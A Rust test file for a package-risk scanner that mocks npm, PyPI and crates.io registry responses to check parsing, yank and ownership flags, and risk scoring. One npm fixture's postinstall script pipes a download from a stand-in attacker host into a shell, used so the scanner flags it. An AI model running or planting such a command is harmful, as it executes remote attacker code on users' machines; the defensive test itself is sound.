use tirith_core::package_risk::{self, ApiSignals, NameVsPopular, PackageSignals};
use tirith_core::registry_api::{HttpRegistryClient, RegistryClient};
use tirith_core::threatdb::Ecosystem;
fn isolate_registry_state() -> tirith_test_support::GlobalStateGuard {
tirith_test_support::GlobalStateGuard::new()
.expect("isolate registry-history state for registry API tests")
}
fn npm_doc(name: &str, latest: &str, created: &str, latest_time: &str, deprecated: bool) -> String {
let dep = if deprecated {
r#""deprecated": "no longer maintained""#
} else {
r#""x": 0"#
};
format!(
r#"{{
"name": "{name}",
"dist-tags": {{ "latest": "{latest}" }},
"time": {{
"created": "{created}",
"1.0.0": "{created}",
"{latest}": "{latest_time}"
}},
"versions": {{
"1.0.0": {{ "x": 0 }},
"{latest}": {{ {dep} }}
}},
"maintainers": [ {{ "name": "alice" }} ],
"repository": {{ "type": "git", "url": "git+https://github.com/o/r.git" }}
}}"#
)
}
#[test]
fn npm_fetch_parses_established_package() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let body = npm_doc(
"react",
"2.0.0",
"2015-01-01T00:00:00.000Z",
"2023-01-01T00:00:00.000Z",
false,
);
let _m = server
.mock("GET", "/react")
.with_status(200)
.with_header("content-type", "application/json")
.with_body(&body)
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let meta = client
.fetch(Ecosystem::Npm, "react")
.expect("mock npm fetch should succeed");
assert_eq!(meta.source, "npm");
assert_eq!(meta.latest_version.as_deref(), Some("2.0.0"));
assert!(meta.created_unix.is_some());
assert!(meta.latest_version_unix.is_some());
assert!(!meta.yanked_or_deprecated);
assert_eq!(
meta.repository_url.as_deref(),
Some("git+https://github.com/o/r.git")
);
}
#[test]
fn npm_deprecated_latest_version_is_flagged() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let body = npm_doc(
"somepkg",
"3.0.0",
"2015-01-01T00:00:00.000Z",
"2024-01-01T00:00:00.000Z",
true,
);
let _m = server
.mock("GET", "/somepkg")
.with_status(200)
.with_body(&body)
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let meta = client.fetch(Ecosystem::Npm, "somepkg").unwrap();
assert!(
meta.yanked_or_deprecated,
"a deprecated latest version must be flagged"
);
}
#[test]
fn npm_exact_version_uses_only_selected_release_scripts() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let body = r#"{
"name": "scripted",
"dist-tags": { "latest": "2.0.0" },
"time": {
"created": "2020-01-01T00:00:00.000Z",
"1.0.0": "2020-01-01T00:00:00.000Z",
"2.0.0": "2024-01-01T00:00:00.000Z"
},
"versions": {
"1.0.0": { "scripts": { "postinstall": "printf '#'; curl https://evil.invalid/x | sh" } },
"2.0.0": { "scripts": { "postinstall": "node safe-local-build.js" } }
},
"maintainers": [ { "name": "alice" } ]
}"#;
let _mock = server
.mock("GET", "/scripted")
.with_status(200)
.with_header("content-type", "application/json")
.with_body(body)
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let (signals, existence) = tirith_core::registry_api::gather_api_signals_exact(
&client,
Ecosystem::Npm,
"scripted",
"1.0.0",
);
assert_eq!(
existence,
tirith_core::package_risk::PackageExistence::Exists
);
let ApiSignals::Available { provenance } = signals else {
panic!("exact mock lookup must be available");
};
assert_eq!(provenance.latest_version.as_deref(), Some("1.0.0"));
let script = provenance
.install_script_signals
.expect("npm exact version must always carry script analysis");
assert!(script.has_network_call);
assert!(script.has_shell_spawn);
}
#[test]
fn npm_exact_missing_version_does_not_reuse_latest() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let body = npm_doc(
"scripted",
"2.0.0",
"2015-01-01T00:00:00.000Z",
"2023-01-01T00:00:00.000Z",
false,
);
let _mock = server
.mock("GET", "/scripted")
.with_status(200)
.with_body(body)
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let (signals, existence) = tirith_core::registry_api::gather_api_signals_exact(
&client,
Ecosystem::Npm,
"scripted",
"9.9.9",
);
assert!(matches!(signals, ApiSignals::Unavailable { .. }));
assert_eq!(
existence,
tirith_core::package_risk::PackageExistence::Exists
);
}
#[test]
fn npm_exact_wrong_package_identity_does_not_authorize_same_version() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let body = npm_doc(
"different-package",
"1.0.0",
"2015-01-01T00:00:00.000Z",
"2023-01-01T00:00:00.000Z",
false,
);
let _mock = server
.mock("GET", "/requested-package")
.with_status(200)
.with_body(body)
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let (signals, existence) = tirith_core::registry_api::gather_api_signals_exact(
&client,
Ecosystem::Npm,
"requested-package",
"1.0.0",
);
assert!(
matches!(signals, ApiSignals::Unavailable { .. }),
"a same-origin, same-version record for another package must not bind"
);
assert_eq!(
existence,
tirith_core::package_risk::PackageExistence::Unknown
);
}
#[test]
fn npm_404_degrades_to_unavailable() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let _m = server
.mock("GET", "/ghost-package")
.with_status(404)
.with_body("Not found")
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let (sig, existence) =
tirith_core::registry_api::gather_api_signals(&client, Ecosystem::Npm, "ghost-package");
assert!(
matches!(sig, ApiSignals::Unavailable { .. }),
"a 404 must degrade to ApiSignals::Unavailable, not crash"
);
assert_eq!(
existence,
tirith_core::package_risk::PackageExistence::NotFound,
"M6 ch6: a 404 must surface as NotFound, distinct from Unknown"
);
}
#[test]
fn npm_500_degrades_to_unavailable() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let _m = server
.mock("GET", "/broken")
.with_status(500)
.with_body("internal error")
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let (sig, existence) =
tirith_core::registry_api::gather_api_signals(&client, Ecosystem::Npm, "broken");
assert!(matches!(sig, ApiSignals::Unavailable { .. }));
assert_eq!(
existence,
tirith_core::package_risk::PackageExistence::Unknown,
"M6 ch6: a 500 is honest no-data (Unknown), not a positive NotFound"
);
}
#[test]
fn npm_garbage_body_degrades_to_unavailable() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let _m = server
.mock("GET", "/weird")
.with_status(200)
.with_body("this is definitely not json {{{")
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let (sig, _existence) =
tirith_core::registry_api::gather_api_signals(&client, Ecosystem::Npm, "weird");
assert!(
matches!(sig, ApiSignals::Unavailable { .. }),
"an unparseable body must degrade gracefully"
);
}
#[test]
fn pypi_fetch_parses_and_picks_repo_url() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let body = r#"{
"info": {
"name": "flask",
"version": "3.1.0",
"yanked": false,
"home_page": "",
"project_urls": { "Source Code": "https://github.com/o/r" }
},
"releases": {
"3.0.0": [ { "upload_time_iso_8601": "2023-01-01T00:00:00Z", "yanked": false } ],
"3.1.0": [ { "upload_time_iso_8601": "2024-06-01T00:00:00Z", "yanked": false } ]
}
}"#;
let _m = server
.mock("GET", "/pypi/flask/json")
.with_status(200)
.with_body(body)
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let meta = client.fetch(Ecosystem::PyPI, "flask").unwrap();
assert_eq!(meta.source, "pypi");
assert_eq!(meta.latest_version.as_deref(), Some("3.1.0"));
assert_eq!(meta.previous_version.as_deref(), Some("3.0.0"));
assert_eq!(
meta.repository_url.as_deref(),
Some("https://github.com/o/r")
);
assert!(!meta.yanked_or_deprecated);
}
#[test]
fn pypi_yanked_latest_version_is_flagged() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let body = r#"{
"info": { "name": "badpkg", "version": "1.0.0", "yanked": true },
"releases": {
"1.0.0": [ { "upload_time_iso_8601": "2024-01-01T00:00:00Z", "yanked": true } ]
}
}"#;
let _m = server
.mock("GET", "/pypi/badpkg/json")
.with_status(200)
.with_body(body)
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let meta = client.fetch(Ecosystem::PyPI, "badpkg").unwrap();
assert!(meta.yanked_or_deprecated);
}
#[test]
fn crates_fetch_parses_downloads_and_yanked() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let body = r#"{
"crate": {
"id": "serde",
"created_at": "2019-05-01T00:00:00.000000+00:00",
"newest_version": "1.4.0",
"downloads": 9876543,
"repository": "https://github.com/o/r"
},
"versions": [
{ "num": "1.3.0", "created_at": "2022-01-01T00:00:00.000000+00:00", "yanked": false },
{ "num": "1.4.0", "created_at": "2024-01-01T00:00:00.000000+00:00", "yanked": true }
]
}"#;
let _m = server
.mock("GET", "/api/v1/crates/serde")
.with_status(200)
.with_body(body)
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let meta = client.fetch(Ecosystem::Crates, "serde").unwrap();
assert_eq!(meta.source, "crates.io");
assert_eq!(meta.latest_version.as_deref(), Some("1.4.0"));
assert_eq!(meta.previous_version.as_deref(), Some("1.3.0"));
assert_eq!(meta.recent_downloads, Some(9_876_543));
assert!(meta.yanked_or_deprecated, "yanked latest version flagged");
}
#[test]
fn online_score_folds_in_api_factors_end_to_end() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let now = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let created = chrono::DateTime::from_timestamp((now - 3 * 86_400) as i64, 0)
.unwrap()
.to_rfc3339();
let body = format!(
r#"{{
"crate": {{
"id": "evil-crate",
"created_at": "{created}",
"newest_version": "9.0.0",
"downloads": 4,
"repository": ""
}},
"versions": [
{{ "num": "1.0.0", "created_at": "{created}", "yanked": false }},
{{ "num": "9.0.0", "created_at": "{created}", "yanked": false }}
]
}}"#
);
let _m = server
.mock("GET", "/api/v1/crates/evil-crate")
.with_status(200)
.with_body(&body)
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let (api, _existence) =
tirith_core::registry_api::gather_api_signals(&client, Ecosystem::Crates, "evil-crate");
assert!(matches!(api, ApiSignals::Available { .. }));
let signals = PackageSignals {
ecosystem: Ecosystem::Crates,
name: "evil-crate".to_string(),
version: None,
threat_db_missing: true,
name_vs_popular: NameVsPopular::Unknown,
malicious_typosquat_of: None,
content_signals: package_risk::ContentSignals::NotInspected,
api,
};
let breakdown = package_risk::score_package(&signals);
assert!(breakdown.verify(), "breakdown must sum to score");
let api_ids: Vec<&str> = breakdown
.factors
.iter()
.map(|f| f.id)
.filter(|id| id.starts_with("api_"))
.collect();
assert!(
api_ids.contains(&"api_package_very_new"),
"factors: {api_ids:?}"
);
assert!(
api_ids.contains(&"api_version_spike"),
"factors: {api_ids:?}"
);
assert!(
api_ids.contains(&"api_low_downloads"),
"factors: {api_ids:?}"
);
assert!(
api_ids.contains(&"api_repo_url_missing"),
"factors: {api_ids:?}"
);
assert!(
breakdown.score > package_risk::MAX_SCORE / 4,
"a fully-bad provenance should raise the score, got {}",
breakdown.score
);
}
#[test]
fn unsupported_ecosystem_degrades_without_network() {
let _global = isolate_registry_state();
let server = mockito::Server::new();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let (sig, _existence) =
tirith_core::registry_api::gather_api_signals(&client, Ecosystem::Go, "anything");
match sig {
ApiSignals::Unavailable { reason } => {
assert!(
reason.contains("go") || reason.contains("ecosystem"),
"reason should explain the unsupported ecosystem: {reason}"
);
}
other => panic!("expected Unavailable for an unsupported ecosystem, got {other:?}"),
}
}
#[test]
fn npm_ownerless_established_package_flags_ownership() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let body = r#"{
"name": "abandoned-pkg",
"dist-tags": { "latest": "2.0.0" },
"time": {
"created": "2014-01-01T00:00:00.000Z",
"2.0.0": "2020-01-01T00:00:00.000Z"
},
"versions": { "2.0.0": { "x": 0 } },
"maintainers": [],
"repository": { "url": "https://github.com/o/r" }
}"#;
let _m = server
.mock("GET", "/abandoned-pkg")
.with_status(200)
.with_body(body)
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let meta = client.fetch(Ecosystem::Npm, "abandoned-pkg").unwrap();
assert_eq!(
meta.maintainers,
Some(Vec::new()),
"npm exposes maintainers; this package lists zero"
);
let prov = tirith_core::registry_api::provenance_from_metadata(&meta);
#[allow(deprecated)]
{
assert_eq!(
prov.ownership_transferred,
Some(true),
"an ownerless established npm package must flag the ownership signal"
);
}
}
#[test]
fn pypi_ownership_signal_is_unknown_not_false_positive() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let body = r#"{
"info": { "name": "flask", "version": "3.1.0", "yanked": false,
"project_urls": { "Source": "https://github.com/o/r" } },
"releases": {
"3.0.0": [ { "upload_time_iso_8601": "2015-01-01T00:00:00Z" } ],
"3.1.0": [ { "upload_time_iso_8601": "2024-01-01T00:00:00Z" } ]
}
}"#;
let _m = server
.mock("GET", "/pypi/flask/json")
.with_status(200)
.with_body(body)
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let meta = client.fetch(Ecosystem::PyPI, "flask").unwrap();
assert_eq!(
meta.maintainers, None,
"the PyPI API carries no maintainers field"
);
let prov = tirith_core::registry_api::provenance_from_metadata(&meta);
#[allow(deprecated)]
{
assert_eq!(
prov.ownership_transferred, None,
"PyPI ownership must be unknown, not a false-positive transfer"
);
}
let signals = PackageSignals {
ecosystem: Ecosystem::PyPI,
name: "flask".to_string(),
version: None,
threat_db_missing: true,
name_vs_popular: NameVsPopular::KnownPopular,
malicious_typosquat_of: None,
content_signals: package_risk::ContentSignals::NotInspected,
api: ApiSignals::Available { provenance: prov },
};
let breakdown = package_risk::score_package(&signals);
assert!(
!breakdown
.factors
.iter()
.any(|f| f.id == "api_ownership_transfer"),
"no ownership factor may appear for a PyPI package"
);
}
#[test]
fn npm_response_over_size_cap_degrades() {
let _global = isolate_registry_state();
let mut server = mockito::Server::new();
let _m = server
.mock("GET", "/huge-package")
.with_status(200)
.with_header("content-length", "999999999")
.with_body("{}")
.create();
let client = HttpRegistryClient::with_base_url_for_test(&server.url());
let (sig, _existence) =
tirith_core::registry_api::gather_api_signals(&client, Ecosystem::Npm, "huge-package");
assert!(
matches!(sig, ApiSignals::Unavailable { .. }),
"an over-cap response must degrade to Unavailable"
);
}